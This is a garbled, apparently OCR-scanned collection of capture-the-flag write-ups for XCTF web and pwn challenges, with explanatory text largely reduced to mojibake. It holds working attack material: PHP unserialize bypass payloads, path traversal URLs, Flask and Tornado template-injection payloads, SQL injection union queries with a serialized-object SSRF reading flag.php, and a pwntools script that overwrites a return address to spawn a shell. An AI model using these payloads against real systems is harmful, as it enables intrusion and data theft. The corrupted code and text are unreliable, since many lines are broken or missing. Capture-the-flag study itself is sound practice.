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class xctf{

public $flag

public function __ wakeup(){
)
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<?php

class xctf{

public $flag

public function __ wakeup(){
exit( );

}
t

$a = new xctf();
echo(serialize($a));
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url+/code=0:4:%22xctf%22:2:2:{s:4:%22flag%22;s:3:%22111%22;}
http:

Web_php_unserialize
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private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
¥
function __ destruct() {
echo @highlight_file($this->file, true);
¥
function __ wakeup() {
if ($this->file !="index.php') {
/lthe secret is in the fl4dg.php
$this->file = 'index.php’;
¥
¥
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var');
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
¥
} else {
highlight_file("index.php");
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1.preg_math(’/[oc]:\d+/i’,$var) i geid

2.unserializelst _ wakeup()#4eid

private $file ;
public function __construct($file) {
$this->file = $file;

}

function __ destruct() {
echo @highlight_file($this->file, true);

}

function _ wakeup() {
if ($this->file

$this->file
}

}

$A = new Demo(
$C = serialize($A);

$C = str_replace( ) ,$C);
$C = str_replace(:1:, ,$C);
var_dump($C);

var_dump(base64_encode($C));

?var=TzorNDoiRGVtbyl6Mjp7czoxMDoiAERIbW8AZmIsZSI7czo4OiJmbDRnLnBocCIl7fQ==
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http://220.249.52.133:38959/index.php?id=2333
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BRI payload

error?msg={{handler.settings}}

XA I AR Y\ FRATT AT A4S Bl cookie Al < I {E cookie:

BERNFE—ANELmA5 N2 W3S _EIngs 3844 8 Milllillag #) 3T

u] LA1§ 3 —~cookiefH :

ScfEmd51E:  3bfofecf685a6dd8defadabfb41a03at

AT LA R EE#ITMISIEEN RGN — R R:
2819ace0-0b41-4eb1-8207-3f2b6690a6e93bfIf6cf685a6dd8defadabfbd 1a03a1
md55§ﬁ)ﬁ:

545f4eaba10cd541eb50af849b6ed7d6
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http://220.249.52.133:48717/file?filename=/fllllllag&filehash=545f4ea6a10cd541eb50af849b6ed7d6
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<?php
highlight_file(__FILE_ )% == &R

class emmm

{

public static function checkFile(&$page)

{
$whitelist = [

if (! isset($page) || lis_string($page))
{

echo
return false;

if (in_array($page, $whitelist)) {
return true;

1
mb_strpos()ERFFFBRER —NFRBEPERBIRKALE
$ page = mb_substr($page,0,mb_strpos($page .

$ GET, $_POST #l $_COOKIE
$_REQUESTI[file'] $_REQUESTI[file'] $_REQUESTIfile']

$_REQUESTI[file']

img src=\
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http://220.249.52.133:43358/?file=hint.php?/../../../. /fffflllaaaagggg
http://220.249.52.133:43358/?file=hint.php%253f/../../../../fffflllaaaagggg
http://220.249.52.133:43358/?file=source.php%253f../../../..I. /fffflllaaaagggg
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information_schema
CHARACTER_SETS
information_schema
COLLATIONS
information_schema
COLLATION_CHARACTER_SET_APPLICABILITY
information_schema
COLUMNS
information_schema
COLUMN_PRIVILEGES
information_schema
ENGINES
information_schema
EVENTS
information_schema
FILES
information_schema
GLOBAL_STATUS
information_schema
GLOBAL_VARIABLES
information_schema
KEY_COLUMN_USAGE
information_schema
PARAMETERS
information_schema
PARTITIONS
information_schema
PLUGINS
information_schema
PROCESSLIST
information_schema
PROFILING
information_schema
REFERENTIAL CONSTRAINTS




information_schema
ROUTINES
information_schema
SCHEMATA
information_schema
SCHEMA_PRIVILEGES
information_schema
SESSION_STATUS
information_schema
SESSION_VARIABLES
information_schema
STATISTICS
information_schema
[TABLES
information_schema
TABLESPACES
information_schema
[TABLE_CONSTRAINTS
information_schema
TABLE_PRIVILEGES
information_schema
[TRIGGERS
information_schema
USER_PRIVILEGES
information_schema
VIEWS
information_schema
INNODB_BUFFER_PAGE
information_schema
INNODB_TRX
information_schema
INNODB_BUFFER_POOL_STATS
information_schema
INNODB_LOCK_WAITS
information_schema
INNODB_CMPMEM
information_schema
INNODB_CMP
information_schema
INNODB_LOCKS
information_schema
INNODB_CMPMEM_RESET
information_schema
INNODB_CMP_RESET
information_schema
INNODB_BUFFER_PAGE_LRU
news

news
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function encode($str){
$ o=strrev($str);

for($_0=0;$ O<strlen($_0);$ 0++){

$_c=substr($_o0,$_0,1);
$ =ord($_c)+1;
$ c=chr($_);
$ =%_5 ¢
}

return str_rot13(strrev(base64_encode($_)));

highlight_file(__FILE_);
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import base64
def rot13(s,offset=13):
def encodeCh(ch):
f = lambda x:.chr((ord(ch)-x+offset)%26+x)
return f(97) if ch.islower() else (f(65) if ch.isupper()else ch)
return ".join(encodeCh(c) for cin s)

def main():

miwen

miwen = rot13(miwen)

miwen = miwen[::-1]

miwen = base64.b64decode(miwen)
miwen (miwen, )
print(miwen)

mingwen

for _0in (0, len(miwen)):
_@® (miwen[_0])
fuck = (_c)-1
mingwen-+=(chr(fuck))
print(mingwen[::-1])
if __name_
main()

shrine



return (__file_ ).read()

@app.route(
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', ").replace(
blacklist = [ , ]

return ".join([ . (c) for cin blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))

if  name_
app.run(debug=True)

EFIFE ST flask B BB IEAN
FARYEARRD 54T e R — B B WA AR IEN
http://220.249.52.133:57648/shrine/{2+2}}
IR 51435 B AR FE AR AR IE N

FH H L 38 T configfselffE 5

BRI T EH pythonf N B R rT LAE A, Eoaniiurl_forflget_flashed_messages

http://220.249.52.133:57648/shrine/{{url_for.__globals__}}

S

function find_package at 0x7f3a17d4f140>,
function _find_package_path at 0x7f3a17d4f0c8>,
function get_load_dotenv at 0x7f3a17e71a28>,
class
Flask ,
: True,
function send_from_directory at 0x7f3a17e71ed8>,
NullSession {}>,
module from ,
function get_flashed_messages at 0x7f3a17e71d70>,
class ,
function is_ip at 0x7f3a17d4f7d0>, module from
class ,
function url_quote at 0x7f3a180c1aa0>,
class -
function get_root_path at 0x7f3a17e71f50>,
; class
werkzeug.local.LocalStack at Ox7f3a17ea1750>,
function _endpoint_from_view_func at 0x7f3a17e71aa0>,
function total_seconds at 0x7f3a17d4f1b8>,




function get_env at 0x7f3a17e716e0>,
class
function flash at 0x7f3a17e71cf8>,
module from
built-in function adler32>,
function get_template_attribute at 0x7f3a17e71c80>,
werkzeug.local.LocalStack at 0x7f3a17e€96290>,

built-in function
: Type () for interactive
built-in function

built-in function ,
: Copyright (c) 2001-2019 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserv
ed. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematis
ch Centrum, Amsterdam. All Rights Reserved.,

, : <built-in function
built-in function
built-in function

built-in function
built-in function

built-in function
: False,

built-in function
built-in function

: None,
built-in function
built-in function
built-in function

’

’

built-in function
built-in function
built-in function

. Ellipsis,

built-in function

built-in function
built-in function
built-in function ,
: Use exit() or Ctrl-D (i.e. EOF) to exit,
built-in function print>,
: True,




: None,
built-in function

built-in function
: Thanks to CWI, CNRI, BeOpen.com, Zope Corporation a cast of thousands for supporting Python development. See www.pyth
on.org for more information.,

built-in function
: Type license() to see the full license text,

built-in function
built-in function

built-in function

built-in function
built-in function

built-in function

built-in function
: Use quit() or Ctrl-D (i.e. EOF) to exit,

’

built-in function
built-in function

’

built-in function

built-in function

: built-in functio
built-in function , : <built-in function : <built-in function
built-in function , : ;
built-in function
built-in function :
built-in function , 'id": <built-in functig
: , : <built-in function
built-in function , : <built-in function ,

, : Notlmplemented, : <built-in function

built-in function : : , : <built-in function
built-in function , : True,




function safeJom at 0x7f3a17e71e60>, : <module (built |n) ,
function stream_with_context at 0x7f3a17e71b18>,
module ligelnl
module from , : <function wrap_file at 0x7f3a18

module from , : <function update_wrapper at 0x7f3a187e41b
function make_response at 0x7f3a17e71b90>, : <Request
[GET]>, ( , , : <flask.signals._FakeSignal at Ox7f3a

function send_file at 0x7f3a17e71de8>, : <built-in function time>, : <function url_for at 0x7f3a17e71c08>,
function _matching_loader_thinks_module_is package at 0x7f3a17d4f050>, : <module fro

http://220.249.52.133:57648/shrine/{{url_for._ globals__['current_app'].config}}

Config {

: False,

: datetime.timedelta(31),
: None,
: None,

: True,
: datetime.timedelta(0, 43200),
: None,
: True,

get flashed messages
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shrine/{{get_flashed _messages. globals | ].config}}




Config {

: False,

: datetime.timedelta(31),
: None,
: None,

: True,
: datetime.timedelta(0, 43200),
: None,
: True,

facebook
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<?php

class UserInfo

i
public $name
public $age = 0;
public $blog

public function __construct($name, $age, $blog)
{

$this->name = $name;

$this->age = (int)$age;

$this->blog = $blog;

function get($url)

{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT RETURNTRANSFER, 1);
Soutput = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {

return 404,

ki
curl_close($ch);
return $output;

public function getBlogContents ()

{
return $this->get($this->blog);

public function isValidBlog ()
{
$blog = $this->blog;

return preg_match(

EME L

Moood TR ILEITLMEG R, \SREFZAFAHE \RrBBANE

BAVRZR—TF &N HThEE, kfﬂjom}ﬁﬁwewphpﬂ(]no%%ﬁﬁ;ﬁ:‘ﬂz)\

SeRorder by2i 2 H 51 $
http://220.249.52.133:35346/view.php?no=1 order by 4
1E# B &

http://220.249.52.133:35346/view.php?no=1 order by 5




XEBEF—Ano=INEHRKRAEISKH
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R RERBREEN

1 union select 1,database(), 1,1 #

{B 2 T T 3R [5] —~no hack

L INAT =S 2 Rl E

JS% 1% R union select

B LA ++ B3 Gait

B RINBEIEER A

-1 union select 1,database(),1,1 #

73 2 $ ¥4 P 1) 44 #x R facebook

THRERERS

http://220.249.52.133:35346/view.php?no=-1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_sc

hema='fakebook'#

THEF 4

http://220.249.52.133:35346/view.php?no=-1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where tabl

e _name='users'#

AT AR B U514 -

ETREM—LER

http://220.249.52.133:35346/view.php?no=-1 union/**/select 1,data,1,1 from users#

http://220.249.52.133:35346/view.php?no=2 union++select 1,group_concat(data),3,4 from users

XA R IR A —AME B

0:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:21:"https://www.baidu.com";}

BATRE T RFFIL

i L user.php RIS, XEFZEMNIZRE: sqE# ->phpFolth > REILER, XEK curl BMNIZREEA LRI, Frbd
HEblogxt Iz £z B 2 # R AT iE I php P FIAL &, (EH file PHGHEAT ssrf

payload

http://220.249.52.133:35346/view.php?no=2 union++select 1,2,3,'0:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/w

/html/flag.php";}




X/ payload R i%no=2

72

data:text/html;base64,PD9waHANCgOKJIGZsYWcgPSAIZmxhZ3tjiMWU1INT JmZGY3NzZAOOWZhYmY2NTE20GYyMmY3YWVhYn0iOwOKZxhpdCg

baseb64f# % 5

upload1
HE EEE RIS
53| —HB 7 Hjs ARG

Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] obj) {
return true;

}

return false;

function check(){

upfile = document.getElementById(

submit = document.getElementByld(
name = upfile.value;
ext = name.replace(/A+\./,");

if([ipg’, ].contains(ext)){
submit.disabled = false;
felse{

submit.disabled = true;

Web_php_wrong_nginx_config

FHRSC T H bk«
https://blog.csdn.net/hxhxhxhxx/article/details/107907787
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THAZ%E =mXManE & ik FWP I G L -
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

THRXMR-DREHXE (FRREH -
https://muzibing.github.io/2020/06/08/2020.06.08%EF %BC %88123%EF %BC %89/

checksec—TF:

Arch:  i386-32-little
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE:  No PIE (0x8048000)

REEERN—NREITE TRATITME L 2R

REmANEZERN— /R ERBN KBRS EF FRREETIFE T CanaryfRY B LA H i3 bk AR B #+410 2 7 Zgdbifl
B R AT

THRZEXP:

f#coding:utf8
H I HREERRERXE, 33 THEZ, RERNEREXESHHEAEHILLE—T
#https://muzibing.github.io/2020/06/08/2020.06.08 %EF %BC%88123%EF %BC%89/

rom pwn import *
# context.log_level = 'debug’

process_name ="./1'
p = process(process_name)
Hp = remote('220.249.52.133', 57884)

hackhere = [0x9b, 0x85, 0x04, 0x08] #0x0804859B
ite_offset = 0x84

system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450

sh_addr = [0x87, 0x89, 0x04, 0x08] # 0x08048987

def change_number(offset, value):
p.sendlineafter('s. exit', '3")
p.sendlineafter('which number to change:', str(offset))

p.sendlineafter('new number:', str(value))

p.sendlineafter('"How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')

or i in range(4):

change_number(write_offset+i, system_addr][i])

ite_offset += 8
or i in range(4):
change_number(write_offset+i, sh_addr[i])

p.sendlineafter('5. exit', '5")
p.interactive()



https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
https://muzibing.github.io/2020/06/08/2020.06.08%25EF%25BC%2588123%25EF%25BC%2589/
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